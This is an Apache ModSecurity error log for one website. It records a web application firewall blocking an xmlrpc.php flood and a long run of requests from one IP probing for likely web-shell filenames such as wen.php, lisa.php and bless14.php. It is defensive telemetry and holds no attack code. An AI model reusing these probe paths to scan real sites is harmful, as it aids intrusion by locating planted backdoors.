[Sun Jan 04 22:11:24.380659 2026] [:error] [pid 42666:tid 42715] [client 34.91.127.6:59538] [client 34.91.127.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.91.127.6, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVp1DPc221c7vwWrOjcUUAAAAxI"]
[Sun Jan 04 22:11:46.312239 2026] [:error] [pid 42666:tid 42708] [client 4.241.234.12:17410] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVp1Ivc221c7vwWrOjcUbAAAAws"]
[Sun Jan 04 22:11:46.883355 2026] [:error] [pid 42666:tid 42717] [client 4.241.234.12:17472] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVp1Ivc221c7vwWrOjcUbQAAAxQ"]
[Sun Jan 04 22:11:47.180311 2026] [:error] [pid 29351:tid 29389] [client 4.241.234.12:17495] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVp1I5tGiMsRmNcKXvpGuAAAAsU"]
[Sun Jan 04 22:11:47.621690 2026] [:error] [pid 45949:tid 45966] [client 4.241.234.12:17478] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wen.php"] [unique_id "aVp1I6WUhIYCdxgkhpBPVgAAAgw"]
[Sun Jan 04 22:11:48.047117 2026] [:error] [pid 37165:tid 37205] [client 4.241.234.12:17424] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVp1JFwRLzfe8wOrQpRjAwAAAkY"]
[Sun Jan 04 22:11:48.384049 2026] [:error] [pid 37165:tid 37199] [client 4.241.234.12:17422] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVp1JFwRLzfe8wOrQpRjBAAAAkA"]
[Sun Jan 04 22:11:48.876461 2026] [:error] [pid 37165:tid 37207] [client 4.241.234.12:17493] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVp1JFwRLzfe8wOrQpRjBQAAAkg"]
[Sun Jan 04 22:11:49.309914 2026] [:error] [pid 45863:tid 45866] [client 4.241.234.12:17514] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aVp1JVGr1mgeue1bWvTXnQAAAAE"]
[Sun Jan 04 22:11:49.794279 2026] [:error] [pid 43467:tid 43491] [client 4.241.234.12:17525] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVp1JSnfieJppNajUV1SdQAAAJY"]
[Sun Jan 04 22:11:50.411833 2026] [:error] [pid 29351:tid 29386] [client 4.241.234.12:17416] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVp1JptGiMsRmNcKXvpGvAAAAsI"]
[Sun Jan 04 22:11:50.696432 2026] [:error] [pid 45950:tid 46001] [client 4.241.234.12:17479] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVp1Jlx-3HUGZIlAI-5ROQAAA5M"]
[Sun Jan 04 22:11:51.106657 2026] [:error] [pid 45863:tid 45881] [client 4.241.234.12:17496] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVp1J1Gr1mgeue1bWvTXoAAAABA"]
[Sun Jan 04 22:11:51.691818 2026] [:error] [pid 43583:tid 43595] [client 4.241.234.12:17497] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lisa.php"] [unique_id "aVp1J-ZbrSRUiJ-RX9ZBWgAAAUY"]
[Sun Jan 04 22:11:52.575665 2026] [:error] [pid 43583:tid 43593] [client 4.241.234.12:17485] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lisa.php"] [unique_id "aVp1KOZbrSRUiJ-RX9ZBXAAAAUQ"]
[Sun Jan 04 22:11:52.894679 2026] [:error] [pid 43583:tid 43606] [client 4.241.234.12:17411] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lisa.php"] [unique_id "aVp1KOZbrSRUiJ-RX9ZBXgAAAVE"]
[Sun Jan 04 22:11:53.453190 2026] [:error] [pid 42665:tid 42674] [client 4.241.234.12:17474] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lisa.php"] [unique_id "aVp1KRRwYwWkN__L8BWUqQAAAoU"]
[Sun Jan 04 22:11:54.063635 2026] [:error] [pid 43583:tid 43612] [client 4.241.234.12:17413] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aVp1KuZbrSRUiJ-RX9ZBXwAAAVc"]
[Sun Jan 04 22:11:54.405592 2026] [:error] [pid 29351:tid 29407] [client 4.241.234.12:17438] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aVp1KptGiMsRmNcKXvpGwQAAAtc"]
[Sun Jan 04 22:11:54.902916 2026] [:error] [pid 37165:tid 37203] [client 4.241.234.12:17530] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aVp1KlwRLzfe8wOrQpRjCAAAAkQ"]
[Sun Jan 04 22:11:55.518958 2026] [:error] [pid 29351:tid 29408] [client 4.241.234.12:17425] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aVp1K5tGiMsRmNcKXvpGwgAAAtg"]
[Sun Jan 04 22:11:56.030258 2026] [:error] [pid 42665:tid 42671] [client 4.241.234.12:17521] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aVp1LBRwYwWkN__L8BWUsQAAAoI"]
[Sun Jan 04 22:11:56.564959 2026] [:error] [pid 42666:tid 42710] [client 4.241.234.12:17528] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aVp1LPc221c7vwWrOjcUgAAAAw0"]
[Sun Jan 04 22:11:57.102880 2026] [:error] [pid 42666:tid 42707] [client 4.241.234.12:17414] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aVp1Lfc221c7vwWrOjcUgQAAAwo"]
[Sun Jan 04 22:11:57.445146 2026] [:error] [pid 29351:tid 29388] [client 4.241.234.12:17477] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxxx.php"] [unique_id "aVp1LZtGiMsRmNcKXvpGwwAAAsQ"]
[Sun Jan 04 22:11:57.780558 2026] [:error] [pid 29351:tid 29392] [client 4.241.234.12:17500] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aVp1LZtGiMsRmNcKXvpGxQAAAsg"]
[Sun Jan 04 22:11:58.148787 2026] [:error] [pid 43467:tid 43484] [client 4.241.234.12:17428] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aVp1LinfieJppNajUV1SeQAAAI8"]
[Sun Jan 04 22:11:58.660031 2026] [:error] [pid 45863:tid 45873] [client 4.241.234.12:17433] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aVp1LlGr1mgeue1bWvTXpwAAAAg"]
[Sun Jan 04 22:11:59.110169 2026] [:error] [pid 45949:tid 45968] [client 4.241.234.12:17487] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless14.php"] [unique_id "aVp1L6WUhIYCdxgkhpBPWwAAAg4"]
[Sun Jan 04 22:11:59.463396 2026] [:error] [pid 29351:tid 29390] [client 4.241.234.12:17426] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/87.php"] [unique_id "aVp1L5tGiMsRmNcKXvpGxwAAAsY"]
[Sun Jan 04 22:11:59.744576 2026] [:error] [pid 37165:tid 37220] [client 4.241.234.12:17504] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/87.php"] [unique_id "aVp1L1wRLzfe8wOrQpRjCgAAAlU"]
[Sun Jan 04 22:12:00.180336 2026] [:error] [pid 43467:tid 43470] [client 4.241.234.12:17526] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/87.php"] [unique_id "aVp1MCnfieJppNajUV1SegAAAIE"]
[Sun Jan 04 22:12:00.501477 2026] [:error] [pid 43467:tid 43483] [client 4.241.234.12:17409] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/87.php"] [unique_id "aVp1MCnfieJppNajUV1SewAAAI4"]
[Sun Jan 04 22:12:01.004721 2026] [:error] [pid 42666:tid 42701] [client 4.241.234.12:17421] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVp1Mfc221c7vwWrOjcUhAAAAwQ"]
[Sun Jan 04 22:12:01.460856 2026] [:error] [pid 37165:tid 37205] [client 4.241.234.12:15594] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVp1MVwRLzfe8wOrQpRjDgAAAkY"]
[Sun Jan 04 22:12:01.818069 2026] [:error] [pid 45949:tid 45958] [client 4.241.234.12:17476] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVp1MaWUhIYCdxgkhpBPXAAAAgQ"]
[Sun Jan 04 22:12:02.323241 2026] [:error] [pid 45950:tid 45997] [client 4.241.234.12:17535] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nox.php"] [unique_id "aVp1Mlx-3HUGZIlAI-5RQgAAA48"]
[Sun Jan 04 22:12:02.634960 2026] [:error] [pid 45949:tid 45975] [client 4.241.234.12:17523] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVp1MqWUhIYCdxgkhpBPXgAAAhU"]
[Sun Jan 04 22:12:03.135252 2026] [:error] [pid 45949:tid 45969] [client 4.241.234.12:17507] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVp1M6WUhIYCdxgkhpBPXwAAAg8"]
[Sun Jan 04 22:12:03.433587 2026] [:error] [pid 45863:tid 45877] [client 4.241.234.12:17527] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVp1M1Gr1mgeue1bWvTXqAAAAAw"]
[Sun Jan 04 22:12:03.699738 2026] [:error] [pid 29351:tid 29404] [client 4.241.234.12:17445] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aVp1M5tGiMsRmNcKXvpGywAAAtQ"]
[Sun Jan 04 22:12:04.215918 2026] [:error] [pid 45950:tid 46005] [client 4.241.234.12:17534] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acwfihfh.php"] [unique_id "aVp1NFx-3HUGZIlAI-5RQwAAA5c"]
[Sun Jan 04 22:12:04.639793 2026] [:error] [pid 45949:tid 45970] [client 4.241.234.12:15578] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acwfihfh.php"] [unique_id "aVp1NKWUhIYCdxgkhpBPYQAAAhA"]
[Sun Jan 04 22:12:05.151730 2026] [:error] [pid 45863:tid 45881] [client 4.241.234.12:15567] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acwfihfh.php"] [unique_id "aVp1NVGr1mgeue1bWvTXrQAAABA"]
[Sun Jan 04 22:12:05.638664 2026] [:error] [pid 42665:tid 42683] [client 4.241.234.12:17427] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acwfihfh.php"] [unique_id "aVp1NRRwYwWkN__L8BWUxgAAAo4"]
[Sun Jan 04 22:12:06.005448 2026] [:error] [pid 29351:tid 29402] [client 4.241.234.12:17467] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bras.php"] [unique_id "aVp1NptGiMsRmNcKXvpGzgAAAtI"]
[Sun Jan 04 22:12:06.453063 2026] [:error] [pid 45949:tid 45976] [client 4.241.234.12:17469] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bras.php"] [unique_id "aVp1NqWUhIYCdxgkhpBPZQAAAhY"]
[Sun Jan 04 22:12:06.936463 2026] [:error] [pid 29351:tid 29408] [client 4.241.234.12:15561] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bras.php"] [unique_id "aVp1NptGiMsRmNcKXvpG0QAAAtg"]
[Sun Jan 04 22:12:07.518323 2026] [:error] [pid 37165:tid 37219] [client 4.241.234.12:17439] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bras.php"] [unique_id "aVp1N1wRLzfe8wOrQpRjEQAAAlQ"]
[Sun Jan 04 22:12:07.926984 2026] [:error] [pid 45949:tid 45954] [client 4.241.234.12:17520] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "aVp1N6WUhIYCdxgkhpBPagAAAgA"]
[Sun Jan 04 22:12:08.706476 2026] [:error] [pid 42666:tid 42708] [client 4.241.234.12:17437] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "aVp1OPc221c7vwWrOjcUigAAAws"]
[Sun Jan 04 22:12:09.337473 2026] [:error] [pid 37165:tid 37210] [client 4.241.234.12:17517] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "aVp1OVwRLzfe8wOrQpRjFQAAAks"]
[Sun Jan 04 22:12:09.704407 2026] [:error] [pid 37165:tid 37211] [client 4.241.234.12:17515] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an8.php"] [unique_id "aVp1OVwRLzfe8wOrQpRjFgAAAkw"]
[Sun Jan 04 22:12:10.119651 2026] [:error] [pid 45950:tid 45996] [client 4.241.234.12:17408] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/esp.php"] [unique_id "aVp1Olx-3HUGZIlAI-5RSwAAA44"]
[Sun Jan 04 22:12:10.560637 2026] [:error] [pid 29351:tid 29404] [client 4.241.234.12:17511] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/esp.php"] [unique_id "aVp1OptGiMsRmNcKXvpG2QAAAtQ"]
[Sun Jan 04 22:12:10.900712 2026] [:error] [pid 42665:tid 42682] [client 4.241.234.12:17412] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/esp.php"] [unique_id "aVp1OhRwYwWkN__L8BWU1AAAAo0"]
[Sun Jan 04 22:12:11.279812 2026] [:error] [pid 42665:tid 42689] [client 4.241.234.12:17486] [client 4.241.234.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/esp.php"] [unique_id "aVp1OxRwYwWkN__L8BWU1wAAApQ"]
